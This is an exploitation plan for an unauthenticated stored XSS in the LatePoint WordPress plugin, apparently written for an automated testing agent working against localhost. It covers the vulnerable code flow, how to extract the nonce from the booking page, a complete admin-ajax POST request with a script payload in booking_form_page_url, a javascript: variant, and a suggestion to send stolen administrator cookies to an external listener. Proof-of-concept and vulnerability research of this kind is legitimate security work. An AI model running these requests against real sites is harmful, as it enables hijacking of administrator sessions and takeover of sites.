Exploitation Research Plan: CVE-2026-7332 - LatePoint Stored XSS

1. Vulnerability Summary

The LatePoint plugin (up to version 5.5.0) is vulnerable to unauthenticated stored cross-site scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape the booking_form_page_url parameter before storing it in the database and subsequently rendering it in the administrative Activity Log.

When a user initiates a booking, an "Order Intent" is created or updated. This process records the URL from which the booking originated. This value is saved in the latepoint_order_intents and latepoint_activities tables. When an administrator views the Activity Log or a specific activity detail page, the malicious script is executed in the administrator's browser context, potentially leading to session hijacking or administrative account takeover.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: latepoint_route_call (WordPress AJAX action)
• Route: steps__get_step or steps__start_order_intent
• Vulnerable Parameter: booking_form_page_url
• Authentication Required: None (Unauthenticated)
• Preconditions: The LatePoint booking form must be accessible (even if Stripe is not configured).

3. Code Flow

1. An unauthenticated request is sent to admin-ajax.php with action=latepoint_route_call and route_name=steps__get_step.
2. The OsRouterHelper dispatches the request to OsStepsController::get_step().
3. Inside the booking flow, OsOrderIntentHelper::create_or_update_order_intent() is called (found in lib/helpers/order_intent_helper.php).
4. Source: The function takes $booking_form_page_url as an argument.

   // lib/helpers/order_intent_helper.php
   public static function create_or_update_order_intent( ..., string $booking_form_page_url = '', ... ) {
       if ( empty( $booking_form_page_url ) ) {
           $booking_form_page_url = OsUtilHelper::get_referrer();
       }
       ...
       if ( ! empty( $booking_form_page_url ) ) {
           // VULNERABLE: Input is decoded but NOT sanitized
           $order_intent->booking_form_page_url = urldecode( $booking_form_page_url );
       }
       ...
       if ( $order_intent->save() ) {
           ...
           // Triggers hook that records activity
           do_action( 'latepoint_order_intent_created', $order_intent );
       }
   

5. The latepoint_order_intent_created hook triggers an activity log creation.
6. Sink: The activity is viewed in the admin dashboard via OsActivitiesController.

   // lib/controllers/activities_controller.php
   public function view() {
       $activity = new OsActivityModel( $this->params['id'] );
       $data = json_decode( $activity->description, true );
       ...
       // The description containing the URL is rendered without escaping
       // (Traces to view files rendering activity-preview-to sections)
   

4. Nonce Acquisition Strategy

The latepoint_route_call AJAX action typically requires a nonce for validation. LatePoint exposes this nonce on pages where the booking form is rendered.

1. Identify Shortcode: The plugin uses [latepoint_booking_form] to render the booking interface.
2. Setup Page: Create a public page containing this shortcode.
3. Extraction: Navigate to the page and extract the nonce from the latepoint_helper JavaScript object.
   • JavaScript Variable: latepoint_helper
   • Nonce Key: nonces.route_call
   • Extraction Command: browser_eval("window.latepoint_helper?.nonces?.route_call")

5. Exploitation Strategy

Step 1: Prepare the Environment

Create a public page with the booking form to retrieve the necessary nonce.

Step 2: Extract Nonce

Use the browser tool to navigate to the page and retrieve latepoint_helper.nonces.route_call.

Step 3: Inject Payload

Send a POST request to initiate an order intent with the XSS payload.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: latepoint_route_call
  • route_name: steps__get_step
  • _wpnonce: [EXTRACTED_NONCE]
  • step_name: contact
  • booking_form_page_url: https://example.com/"><script>alert(document.domain)</script>
  • params[customer][first_name]: Attacker
  • params[customer][last_name]: XSS
  • params[customer][email]: test@example.com

Step 4: Trigger Execution

Log in as an administrator and navigate to the LatePoint Activity Log:
/wp-admin/admin.php?page=latepoint&route_name=activities__index

6. Test Data Setup

1. LatePoint Configuration: Ensure the plugin is active. No Stripe keys are required.
2. Target Page:

   wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[latepoint_booking_form]'
   

7. Expected Results

• The latepoint_route_call request should return a 200 OK with a JSON success status.
• A new entry should appear in the Activity Log in the WordPress admin.
• When the admin views the Activity Log (Index or View), a JavaScript alert box showing the document domain should appear.

8. Verification Steps

After sending the exploit request, verify the database state via WP-CLI:

# Check the latest activity for the payload
wp db query "SELECT description FROM $(wp db prefix)latepoint_activities ORDER BY id DESC LIMIT 1;"

Confirm the description JSON field contains the raw <script> tag.

9. Alternative Approaches

If steps__get_step is restricted, try the direct intent start route:

• Route: steps__start_order_intent
• Payload Modification: If the script is rendered inside an href attribute, use a javascript: protocol:
  booking_form_page_url=javascript:alert(1)//
• Blind XSS: For a more impactful PoC, use a payload that exfiltrates document.cookie to an external listener to demonstrate administrative session theft.